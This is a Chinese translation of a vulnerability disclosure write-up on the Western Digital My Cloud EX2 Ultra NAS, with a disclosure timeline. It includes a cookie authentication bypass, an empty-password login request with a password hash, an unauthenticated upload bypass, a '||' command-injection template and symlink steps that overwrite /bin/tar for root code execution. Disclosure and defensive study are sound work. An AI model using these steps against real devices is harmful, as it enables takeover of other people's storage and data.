在這篇文章中,我將要解釋我是如何發現西部數據NAS設備的一些漏洞的,組合在一起後最終可以實現root許可權的遠程程式碼執行的效果。
要想控制NAS設備,需要保證攻擊者與NAS設備處於同一網絡,並且知道其真實IP。
POC在這裡。
前奏
這一切均源於,我决定斥資購買西部數據(WD)My Cloud EX2 Ultra。與其他型號不同,這款產品為消費者提供了切換硬碟機的功能,可以讓你無需額外安裝應用程序即可使用它,甚至還可以在沒有互聯網的情况下使用。
西部数据(WD)My Cloud EX2 Ultra
在安裝這個設備時,我决定先打開瀏覽器測試一下,幸不辱命,發現一個繞過身份驗證的方法(通過設定cookie中的“isAdmin”為1)。奈何,在更新NAS以後,我發現這個漏洞已經在新版本中修復了。
此時我覺得肯定還會有其他漏洞,於是我决定繼續測試下去。當我下載了WD網站的原始程式碼以後,便開始蒐索剛才這處校驗用戶身份的程式碼,終於成功找到我想要的程式碼片段。我發現更新後的程式碼中已經不再是依賴用戶的Cookie資訊,而是改為校驗Session。
/* fixed code in
firmware/module/crfs/web/pages/lib/login_checker.php
*/
function login_check()
{
$ret = 0;
if (!csrf_token_check()) /* this check can be bypassed easily as well */
return $ret;
if (isset($_SESSION['username']))
{
if (isset($_SESSION['username']) && $_SESSION['username'] != "")
$ret = 2; //login, normal user
if ($_SESSION['isAdmin'] == 1)
$ret = 1; //login, admin
}
return $ret;
}
未經校驗的文件上傳漏洞(CVE–2019-9951)
通過稽核這些“可愛的”PHP程式碼,我發現有一處沒有正確使用login_check函數,從而導致未經校驗的文件上傳漏洞。
/* found in:
firmware/module/crfs/web/pages/jquery/uploader/uploadify.php
*/
include ("../../lib/login_checker.php");
if (login_check() != 1) /* i.e not-authenticated / admin */
{
/* user-controlled */
if ($_SERVER['HTTP_USER_AGENT'] == 'Shockwave Flash')
{
$headers = getallheaders();
/* also user-controlled */
if ($_GET['WD-CSRF-TOKEN'] !== $_POST['X-CSRF-Token'] ||
strrpos($headers['Content-Type'], 'multipart/form-data;'))
{
echo json_encode($r);
exit;
}
/* >> by reaching this line, you bypassed the authentication for this page*/
}
else
{
echo json_encode($r);
exit;
}
}
/* upload logic here */
不過,這還無法直接利用。因為uploadify.php檔案將會校驗目的路徑並且限制僅允許寫入到特定目錄。
/* found in:
firmware/module/crfs/web/pages/lib/login_checker.php
*/
function check_path($path)
{
$file_path = realpath($path);
if (!$file_path) return false;
if (strncmp($file_path, "/mnt/HD", 7) != 0 &&
strncmp($file_path, "/mnt/USB", 8) != 0 &&
strncmp($file_path, "/mnt/isoMount", 13) != 0)
return false;
return true;
}
身份認證繞過(CVE-2019-9950)
證書在cgiMain匯出的函數firmware/module/crfs/cgi/login_mgr.cgi中被管理。
事實證明,控制台利用內寘的作業系統憑證管理。這允許控制台對照/etc/shadow中存儲的用戶名和密碼檢查提供的用戶名和密碼:
在如上檔案中查找nobody帳戶的密碼,這個密碼使用了舊的CRYPT算灋加密:
nobody:pACwI1fCXYNw6:0:0:99999:7:::
我們可以使用John the Ripper或者hashcat來嘗試破解這個hash,但是我覺得下麵這種表示管道或許更加直觀。
John the Ripper
hashcat
更搞笑的是,NAS中的用戶名默認密碼為空,囙此任何人都可以輕而易舉的獲取一個session token。
POST http://WD/cgi-bin/login_mgr.cgi
{
"cmd": "wd_login",
"username": "nobody",
"pwd": "",
"port": "",
}
使用低許可權獲取root許可權的RCE(CVE-2019-9949)
當我們擁有了一個標準的許可權token時,我們將有權獲取並訪問更多的攻擊面。裡面有一個文件管理功能(主要由webfile_mgr.cgi檔案控制),但是有些功能被限制了,不支持打開zip/tar格式的檔案。
當點擊上圖中的按鈕時,將會發送如下帶有cgi_unzip命令的HTTP請求到webfile_mgr.cgi檔案。
Request URL: "http://wd/cgi-bin/webfile_mgr.cgi"
Request method: "POST"
cmd: "cgi_unzip"
path: "/mnt/HD/HD_a2/Public/test"
name: "myfile.zip"
之後,在firmware/module/crfs/web/pages/cgi_api.php檔案中通過必要的路由和許可權的校驗後,cgi模塊會通過轉義路徑來強制校驗輸入,然後再執行帶有-t選項的unzip命令。
/* ... in webfile_mgr.cgi */
fix_path_special_char_inline(archive_name); // user controlled
// target_dir is checked to exist in the PHP code
sprintf(cmdline, "cd %s;/usr/bin/unzip -t %s", target_dir, archive_name);
ret = popen(cmdline, "r");
/* ... */
跟進fix_path_special_char_inline函數,可以看到校驗很鬆散:
def fix_path_special_char_inline(input_str):
out_str = ''
for c in input_str:
if c in '`$#%^&()+{};[]\=': # much secure
out_str += '\\'
out_str += c
return out_str
可以看到使用了黑名單校驗,在這個黑名單中,並沒有校驗筦道符(|)。在bash或batch的世界中,當雙筦道符(||)處於兩個命令之間時,前面的命令執行失敗了,那麼便會繼續執行後面的命令。
在這種情境下,通過使前面unzip命令執行失敗,攻擊者可以注入一個root許可權運行的shell命令。例如:
cd %s;/usr/bin/unzip -t 1||%MY_EVIL_COMMAND%
再來一個
事實證明,這裡的文件管理功能很容易受到其他攻擊。具體來說,使用符號連結選取存檔將不需要進一步驗證就可以創建它們,從而允許將來的檔案系統操作濫用它們而不做任何限制。
例如:如果兩個連續的cgi_untar命令在兩份精心構造的存檔上被執行時,可以導致任意檔案寫入漏洞(root許可權)。同樣,這個漏洞也僅需要一個普通用戶許可權。
發生這種情況的原因是,在選取壓縮檔的程式碼中將使用cig_untar命令進行簡單的解壓縮操作,即使目標包含符號連結。然後,在選取第二個壓縮檔時,攻擊者可以使用事先構造好的符號連結寫入到任意路徑。
因為NAS使用的是squashfs,囙此不是所有的路徑都是可寫的,例如,/bin/目錄便不可以。為了娛樂最大化,我决定覆蓋tar自己本身,囙此可以通過如下操作來實現RCE:
- 上傳第一個壓縮檔案,其中包含符號連結
上傳第一個壓縮檔案,其中包含符號連結
- 發送cgi_untar命令:創建指向/bin/目錄的符號連結
發送cgi_untar命令:創建指向/bin/目錄的符號連結
- 上傳第二個壓縮檔案,其中包含Payload
上傳第二個壓縮檔案,其中包含Payload
- 發送cig_untar命令:覆蓋/bin/tar檔案
發送cig_untar命令:覆蓋/bin/tar檔案
- 發送cig_untar命令:執行我的Payload
發送cig_untar命令:執行我的Payload
我覺得第二個漏洞儘管很嚴重,但是卻不值得擁有一個屬於自己的CVE編號。
漏洞時間軸
2019-01-20向[email protected]發送報告並遵守30天的披露期限
2019-01-22 WD發送了自動回復
2019-02-05被要求確認問題
2019-02-06 WD要求90天內解决問題
2019-03-05請求的狀態更新
2019-03-15 WD要求額外延長90天
2019-03-16同意延長30天
2019-03-27 WD發佈第一個補丁(CVE-2019-9950,CVE-2019-9951)
2019-05-20 WD發佈第二個補丁(CVE-2019-9949)
2019-05-22公開漏洞
1. My Cloud EX2 Ultra測試所有版本號:2.31.149_20181015
2.不過我當時並不知道在exploiteers已經被公佈過
3. https://community.wd.com/t/new-release-my-cloud-firmware-versions-2-31-174-3-26-19/235932
4. https://community.wd.com/t/new-release-my-cloud-firmware-versions-2-31-183-05-20-2019/237717
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://bnbdr.github.io/posts/wd/
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://bnbdr.github.io/posts/wd/
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://bnbdr.github.io/posts/wd/